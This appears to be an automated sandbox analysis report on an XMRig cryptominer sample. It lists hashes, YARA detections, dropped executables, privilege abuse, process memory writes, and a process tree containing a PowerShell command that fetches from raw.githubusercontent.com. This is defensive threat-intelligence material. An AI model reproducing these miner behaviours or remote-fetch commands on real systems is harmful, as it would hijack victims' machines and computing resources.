xmrig | ecac565b122586b4f1f1877101e5181a4dd61323e986b9a046f61857fad43270

Analysis

max time kernel
58s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
30/04/2024, 17:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
Size

1.8MB
MD5

0a3a6f863cd4d56708dda107dde53cd8
SHA1

a5efcaea7f75a804fa3355634ffd7d21e0fee57f
SHA256

ecac565b122586b4f1f1877101e5181a4dd61323e986b9a046f61857fad43270
SHA512

1b582664976376d9a9e3b41a4aaf7831d34b29a82148fec5d99b6ecd9e2344ef7dc71a4ab5e4fd394c87b8f3c1e0f94ec92ad7c52d5d538c519dfb9bfb59aafd
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82SflDrlp:NABI

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 37 IoCs

miner

resource	yara_rule
behavioral2/memory/1364-38-0x00007FF62DEE0000-0x00007FF62E2D2000-memory.dmp	xmrig
behavioral2/memory/1900-43-0x00007FF7A1710000-0x00007FF7A1B02000-memory.dmp	xmrig
behavioral2/memory/1108-45-0x00007FF6837D0000-0x00007FF683BC2000-memory.dmp	xmrig
behavioral2/memory/2340-46-0x00007FF7E6E00000-0x00007FF7E71F2000-memory.dmp	xmrig
behavioral2/memory/2984-81-0x00007FF73BBF0000-0x00007FF73BFE2000-memory.dmp	xmrig
behavioral2/memory/2224-85-0x00007FF70AF00000-0x00007FF70B2F2000-memory.dmp	xmrig
behavioral2/memory/2492-90-0x00007FF6912D0000-0x00007FF6916C2000-memory.dmp	xmrig
behavioral2/memory/4364-153-0x00007FF790040000-0x00007FF790432000-memory.dmp	xmrig
behavioral2/memory/1348-157-0x00007FF71D070000-0x00007FF71D462000-memory.dmp	xmrig
behavioral2/memory/1780-147-0x00007FF7EE590000-0x00007FF7EE982000-memory.dmp	xmrig
behavioral2/memory/2248-137-0x00007FF7BBFB0000-0x00007FF7BC3A2000-memory.dmp	xmrig
behavioral2/memory/2592-125-0x00007FF78B080000-0x00007FF78B472000-memory.dmp	xmrig
behavioral2/memory/1952-98-0x00007FF6FA830000-0x00007FF6FAC22000-memory.dmp	xmrig
behavioral2/memory/2676-93-0x00007FF7297C0000-0x00007FF729BB2000-memory.dmp	xmrig
behavioral2/memory/2932-86-0x00007FF6CE280000-0x00007FF6CE672000-memory.dmp	xmrig
behavioral2/memory/4696-77-0x00007FF737A00000-0x00007FF737DF2000-memory.dmp	xmrig
behavioral2/memory/3876-49-0x00007FF66A390000-0x00007FF66A782000-memory.dmp	xmrig
behavioral2/memory/1364-1919-0x00007FF62DEE0000-0x00007FF62E2D2000-memory.dmp	xmrig
behavioral2/memory/1108-1918-0x00007FF6837D0000-0x00007FF683BC2000-memory.dmp	xmrig
behavioral2/memory/1900-1923-0x00007FF7A1710000-0x00007FF7A1B02000-memory.dmp	xmrig
behavioral2/memory/2340-1928-0x00007FF7E6E00000-0x00007FF7E71F2000-memory.dmp	xmrig
behavioral2/memory/3876-1935-0x00007FF66A390000-0x00007FF66A782000-memory.dmp	xmrig
behavioral2/memory/4696-1964-0x00007FF737A00000-0x00007FF737DF2000-memory.dmp	xmrig
behavioral2/memory/2932-1980-0x00007FF6CE280000-0x00007FF6CE672000-memory.dmp	xmrig
behavioral2/memory/2984-1976-0x00007FF73BBF0000-0x00007FF73BFE2000-memory.dmp	xmrig
behavioral2/memory/2492-1969-0x00007FF6912D0000-0x00007FF6916C2000-memory.dmp	xmrig
behavioral2/memory/2676-1989-0x00007FF7297C0000-0x00007FF729BB2000-memory.dmp	xmrig
behavioral2/memory/4768-1965-0x00007FF679D70000-0x00007FF67A162000-memory.dmp	xmrig
behavioral2/memory/3476-2064-0x00007FF6A4CB0000-0x00007FF6A50A2000-memory.dmp	xmrig
behavioral2/memory/1780-2158-0x00007FF7EE590000-0x00007FF7EE982000-memory.dmp	xmrig
behavioral2/memory/1348-2205-0x00007FF71D070000-0x00007FF71D462000-memory.dmp	xmrig
behavioral2/memory/4364-2200-0x00007FF790040000-0x00007FF790432000-memory.dmp	xmrig
behavioral2/memory/876-2118-0x00007FF6332D0000-0x00007FF6336C2000-memory.dmp	xmrig
behavioral2/memory/2592-2117-0x00007FF78B080000-0x00007FF78B472000-memory.dmp	xmrig
behavioral2/memory/1952-2099-0x00007FF6FA830000-0x00007FF6FAC22000-memory.dmp	xmrig
behavioral2/memory/2224-1998-0x00007FF70AF00000-0x00007FF70B2F2000-memory.dmp	xmrig
behavioral2/memory/3192-3198-0x00007FF60F8A0000-0x00007FF60FC92000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	3168	powershell.exe
5	3168	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
1364	dlKSbeR.exe
1900	QmCpLVD.exe
1108	IvDPemk.exe
2340	EsWxbLa.exe
3876	kVzBlBH.exe
4768	OhUHdvL.exe
4696	VzzJrlT.exe
2492	kUXvprI.exe
2984	PhzueXO.exe
2224	FtiHdGS.exe
2932	FjxVBjy.exe
2676	qisCtUR.exe
1952	KlzwrwC.exe
3476	oSzVumh.exe
876	cirhSyQ.exe
4444	ipDphfd.exe
2592	hcuXhMU.exe
2248	xvuTOAe.exe
1780	frIktYa.exe
4364	DaLrVCQ.exe
1348	sdYJIsM.exe
3564	jLZGRZS.exe
372	EAjtkms.exe
1860	sxDxoaF.exe
2876	bRPreww.exe
8	xBlLscB.exe
4724	SYqosxZ.exe
4320	qkniJwP.exe
5116	yXmSZrf.exe
4412	DpUjMbf.exe
5060	XkVtKfq.exe
4256	NbUIEdY.exe
2748	zoYlcRf.exe
4584	HLBfJof.exe
2524	bMpSzHO.exe
5064	fpBQUyZ.exe
1444	plGBPdR.exe
4164	knaIrYD.exe
4488	wwqJKyc.exe
4944	iFPaWaM.exe
2080	VDArobo.exe
4920	DLKiSal.exe
4672	yOOzbKL.exe
2472	trySslb.exe
548	BBGuLIA.exe
4476	UPJTQnb.exe
3928	ZxWFFGN.exe
4308	fhEotcW.exe
2928	lSoMTCY.exe
4252	WCjtGBG.exe
2040	RnBvtsg.exe
3752	quZZSUa.exe
2956	XLScRyH.exe
5156	frqNJET.exe
5184	nAUwgWB.exe
5212	pMmLguV.exe
5240	MlrFbtx.exe
5260	dUcQvYQ.exe
5288	ePRzZET.exe
5328	oLMCrGD.exe
5356	HxjHLdx.exe
5384	YVXguTt.exe
5408	qFbXrhc.exe
5432	SZjGtjT.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3192-0-0x00007FF60F8A0000-0x00007FF60FC92000-memory.dmp	upx
behavioral2/files/0x000800000002323c-5.dat	upx
behavioral2/files/0x000800000002323f-10.dat	upx
behavioral2/files/0x0008000000023242-14.dat	upx
behavioral2/files/0x0008000000023244-25.dat	upx
behavioral2/files/0x0007000000023245-34.dat	upx
behavioral2/memory/1364-38-0x00007FF62DEE0000-0x00007FF62E2D2000-memory.dmp	upx
behavioral2/memory/1900-43-0x00007FF7A1710000-0x00007FF7A1B02000-memory.dmp	upx
behavioral2/memory/1108-45-0x00007FF6837D0000-0x00007FF683BC2000-memory.dmp	upx
behavioral2/memory/2340-46-0x00007FF7E6E00000-0x00007FF7E71F2000-memory.dmp	upx
behavioral2/files/0x0008000000023246-53.dat	upx
behavioral2/files/0x0008000000023247-59.dat	upx
behavioral2/files/0x0007000000023248-68.dat	upx
behavioral2/files/0x0007000000023249-72.dat	upx
behavioral2/files/0x000700000002324a-74.dat	upx
behavioral2/memory/2984-81-0x00007FF73BBF0000-0x00007FF73BFE2000-memory.dmp	upx
behavioral2/memory/2224-85-0x00007FF70AF00000-0x00007FF70B2F2000-memory.dmp	upx
behavioral2/files/0x000700000002324b-87.dat	upx
behavioral2/memory/2492-90-0x00007FF6912D0000-0x00007FF6916C2000-memory.dmp	upx
behavioral2/files/0x000700000002324d-95.dat	upx
behavioral2/files/0x000700000002324f-114.dat	upx
behavioral2/files/0x0007000000023252-122.dat	upx
behavioral2/files/0x0007000000023253-134.dat	upx
behavioral2/files/0x0007000000023255-141.dat	upx
behavioral2/memory/4364-153-0x00007FF790040000-0x00007FF790432000-memory.dmp	upx
behavioral2/files/0x0007000000023259-162.dat	upx
behavioral2/files/0x000700000002325b-172.dat	upx
behavioral2/files/0x000700000002325c-185.dat	upx
behavioral2/files/0x0007000000023260-197.dat	upx
behavioral2/files/0x000700000002325e-195.dat	upx
behavioral2/files/0x000700000002325f-192.dat	upx
behavioral2/files/0x000700000002325d-190.dat	upx
behavioral2/files/0x000700000002325a-175.dat	upx
behavioral2/files/0x0007000000023258-165.dat	upx
behavioral2/files/0x0007000000023257-160.dat	upx
behavioral2/memory/1348-157-0x00007FF71D070000-0x00007FF71D462000-memory.dmp	upx
behavioral2/files/0x0007000000023256-154.dat	upx
behavioral2/memory/1780-147-0x00007FF7EE590000-0x00007FF7EE982000-memory.dmp	upx
behavioral2/files/0x0007000000023254-139.dat	upx
behavioral2/memory/2248-137-0x00007FF7BBFB0000-0x00007FF7BC3A2000-memory.dmp	upx
behavioral2/files/0x0007000000023251-126.dat	upx
behavioral2/memory/2592-125-0x00007FF78B080000-0x00007FF78B472000-memory.dmp	upx
behavioral2/files/0x0007000000023250-120.dat	upx
behavioral2/memory/4444-119-0x00007FF7ADD60000-0x00007FF7AE152000-memory.dmp	upx
behavioral2/memory/876-110-0x00007FF6332D0000-0x00007FF6336C2000-memory.dmp	upx
behavioral2/files/0x000700000002324e-108.dat	upx
behavioral2/memory/3476-104-0x00007FF6A4CB0000-0x00007FF6A50A2000-memory.dmp	upx
behavioral2/memory/1952-98-0x00007FF6FA830000-0x00007FF6FAC22000-memory.dmp	upx
behavioral2/memory/2676-93-0x00007FF7297C0000-0x00007FF729BB2000-memory.dmp	upx
behavioral2/files/0x000700000002324c-89.dat	upx
behavioral2/memory/2932-86-0x00007FF6CE280000-0x00007FF6CE672000-memory.dmp	upx
behavioral2/memory/4696-77-0x00007FF737A00000-0x00007FF737DF2000-memory.dmp	upx
behavioral2/files/0x0008000000023240-54.dat	upx
behavioral2/memory/4768-52-0x00007FF679D70000-0x00007FF67A162000-memory.dmp	upx
behavioral2/memory/3876-49-0x00007FF66A390000-0x00007FF66A782000-memory.dmp	upx
behavioral2/memory/1364-1919-0x00007FF62DEE0000-0x00007FF62E2D2000-memory.dmp	upx
behavioral2/memory/1108-1918-0x00007FF6837D0000-0x00007FF683BC2000-memory.dmp	upx
behavioral2/memory/1900-1923-0x00007FF7A1710000-0x00007FF7A1B02000-memory.dmp	upx
behavioral2/memory/2340-1928-0x00007FF7E6E00000-0x00007FF7E71F2000-memory.dmp	upx
behavioral2/memory/3876-1935-0x00007FF66A390000-0x00007FF66A782000-memory.dmp	upx
behavioral2/memory/4696-1964-0x00007FF737A00000-0x00007FF737DF2000-memory.dmp	upx
behavioral2/memory/2932-1980-0x00007FF6CE280000-0x00007FF6CE672000-memory.dmp	upx
behavioral2/memory/2984-1976-0x00007FF73BBF0000-0x00007FF73BFE2000-memory.dmp	upx
behavioral2/memory/2492-1969-0x00007FF6912D0000-0x00007FF6916C2000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\KjxXeSE.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\YPfVgxd.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\PcAATGq.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\rghmjJb.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\wypCemQ.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\kZkRoTZ.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\PHFeZtf.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\FvfsPfV.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\yhfrWin.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\stymjnd.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\NXOSCsC.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\EDAPvYI.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\vkMbpMK.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\OdaDVkI.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\EYzlvgn.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\mhHtQQt.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\AxWPZCI.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\VFjTwPN.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\KIViJwk.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\nbIIcHd.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\hgbRVsf.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\iUjqzio.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\agBTWvY.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\BXClCWt.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\IrSzJCB.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\lXABjOO.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\Rjsohfw.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\RMIWTZg.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\EsWxbLa.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\ngnfIHB.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\AwbaIOJ.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\MFkZhRc.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\dlKSbeR.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\PwOXWfG.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\wEbzicp.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\Wilrkjy.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\XFBJRce.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\NBtsTZA.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\TCgosJR.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\GTAKyjL.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\vDQBjSf.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\yFSpmAe.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\GLGLXJv.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\AameihG.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\JIxNggV.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\BbQqiPW.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\nKlUSAi.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\PwKYVCp.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\sQztLnc.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\PhLMqFA.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\GlpDNQd.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\KFvrygj.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\BCuVWIt.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\fDvEoAg.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\nabsJuF.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\RYKVujx.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\HbwMdHa.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\CNKyruB.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\cKSADTw.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\MUqHVMZ.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\gwdeJUk.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\fivcoqF.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\BTsJXra.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
File created	C:\Windows\System\frqNJET.exe	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3168	powershell.exe
3168	powershell.exe
3168	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeLockMemoryPrivilege	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3192 wrote to memory of 3168	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	91
PID 3192 wrote to memory of 3168	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	91
PID 3192 wrote to memory of 1364	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	92
PID 3192 wrote to memory of 1364	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	92
PID 3192 wrote to memory of 1900	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	93
PID 3192 wrote to memory of 1900	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	93
PID 3192 wrote to memory of 1108	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	94
PID 3192 wrote to memory of 1108	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	94
PID 3192 wrote to memory of 2340	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	95
PID 3192 wrote to memory of 2340	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	95
PID 3192 wrote to memory of 3876	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	96
PID 3192 wrote to memory of 3876	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	96
PID 3192 wrote to memory of 4768	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	97
PID 3192 wrote to memory of 4768	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	97
PID 3192 wrote to memory of 4696	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	98
PID 3192 wrote to memory of 4696	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	98
PID 3192 wrote to memory of 2492	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	99
PID 3192 wrote to memory of 2492	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	99
PID 3192 wrote to memory of 2984	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	100
PID 3192 wrote to memory of 2984	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	100
PID 3192 wrote to memory of 2224	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	101
PID 3192 wrote to memory of 2224	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	101
PID 3192 wrote to memory of 2932	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	102
PID 3192 wrote to memory of 2932	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	102
PID 3192 wrote to memory of 2676	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	103
PID 3192 wrote to memory of 2676	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	103
PID 3192 wrote to memory of 1952	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	104
PID 3192 wrote to memory of 1952	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	104
PID 3192 wrote to memory of 3476	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	105
PID 3192 wrote to memory of 3476	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	105
PID 3192 wrote to memory of 876	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	106
PID 3192 wrote to memory of 876	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	106
PID 3192 wrote to memory of 4444	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	107
PID 3192 wrote to memory of 4444	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	107
PID 3192 wrote to memory of 2592	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	108
PID 3192 wrote to memory of 2592	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	108
PID 3192 wrote to memory of 2248	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	109
PID 3192 wrote to memory of 2248	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	109
PID 3192 wrote to memory of 1780	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	110
PID 3192 wrote to memory of 1780	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	110
PID 3192 wrote to memory of 4364	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	111
PID 3192 wrote to memory of 4364	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	111
PID 3192 wrote to memory of 1348	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	112
PID 3192 wrote to memory of 1348	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	112
PID 3192 wrote to memory of 3564	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	113
PID 3192 wrote to memory of 3564	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	113
PID 3192 wrote to memory of 372	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	114
PID 3192 wrote to memory of 372	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	114
PID 3192 wrote to memory of 1860	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	115
PID 3192 wrote to memory of 1860	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	115
PID 3192 wrote to memory of 2876	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	116
PID 3192 wrote to memory of 2876	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	116
PID 3192 wrote to memory of 8	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	117
PID 3192 wrote to memory of 8	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	117
PID 3192 wrote to memory of 4724	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	118
PID 3192 wrote to memory of 4724	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	118
PID 3192 wrote to memory of 4320	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	119
PID 3192 wrote to memory of 4320	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	119
PID 3192 wrote to memory of 5116	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	120
PID 3192 wrote to memory of 5116	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	120
PID 3192 wrote to memory of 4412	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	121
PID 3192 wrote to memory of 4412	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	121
PID 3192 wrote to memory of 5060	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	122
PID 3192 wrote to memory of 5060	3192	0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe	122

C:\Users\Admin\AppData\Local\Temp\0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0a3a6f863cd4d56708dda107dde53cd8_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3168
- C:\Windows\System\dlKSbeR.exe
  C:\Windows\System\dlKSbeR.exe
  2⤵
  - Executes dropped EXE
  PID:1364
- C:\Windows\System\QmCpLVD.exe
  C:\Windows\System\QmCpLVD.exe
  2⤵
  - Executes dropped EXE
  PID:1900
- C:\Windows\System\IvDPemk.exe
  C:\Windows\System\IvDPemk.exe
  2⤵
  - Executes dropped EXE
  PID:1108
- C:\Windows\System\EsWxbLa.exe
  C:\Windows\System\EsWxbLa.exe
  2⤵
  - Executes dropped EXE
  PID:2340
- C:\Windows\System\kVzBlBH.exe
  C:\Windows\System\kVzBlBH.exe
  2⤵
  - Executes dropped EXE
  PID:3876
- C:\Windows\System\OhUHdvL.exe
  C:\Windows\System\OhUHdvL.exe
  2⤵
  - Executes dropped EXE
  PID:4768
- C:\Windows\System\VzzJrlT.exe
  C:\Windows\System\VzzJrlT.exe
  2⤵
  - Executes dropped EXE
  PID:4696
- C:\Windows\System\kUXvprI.exe
  C:\Windows\System\kUXvprI.exe
  2⤵
  - Executes dropped EXE
  PID:2492
- C:\Windows\System\PhzueXO.exe
  C:\Windows\System\PhzueXO.exe
  2⤵
  - Executes dropped EXE
  PID:2984
- C:\Windows\System\FtiHdGS.exe
  C:\Windows\System\FtiHdGS.exe
  2⤵
  - Executes dropped EXE
  PID:2224
- C:\Windows\System\FjxVBjy.exe
  C:\Windows\System\FjxVBjy.exe
  2⤵
  - Executes dropped EXE
  PID:2932
- C:\Windows\System\qisCtUR.exe
  C:\Windows\System\qisCtUR.exe
  2⤵
  - Executes dropped EXE
  PID:2676
- C:\Windows\System\KlzwrwC.exe
  C:\Windows\System\KlzwrwC.exe
  2⤵
  - Executes dropped EXE
  PID:1952
- C:\Windows\System\oSzVumh.exe
  C:\Windows\System\oSzVumh.exe
  2⤵
  - Executes dropped EXE
  PID:3476
- C:\Windows\System\cirhSyQ.exe
  C:\Windows\System\cirhSyQ.exe
  2⤵
  - Executes dropped EXE
  PID:876
- C:\Windows\System\ipDphfd.exe
  C:\Windows\System\ipDphfd.exe
  2⤵
  - Executes dropped EXE
  PID:4444
- C:\Windows\System\hcuXhMU.exe
  C:\Windows\System\hcuXhMU.exe
  2⤵
  - Executes dropped EXE
  PID:2592
- C:\Windows\System\xvuTOAe.exe
  C:\Windows\System\xvuTOAe.exe
  2⤵
  - Executes dropped EXE
  PID:2248
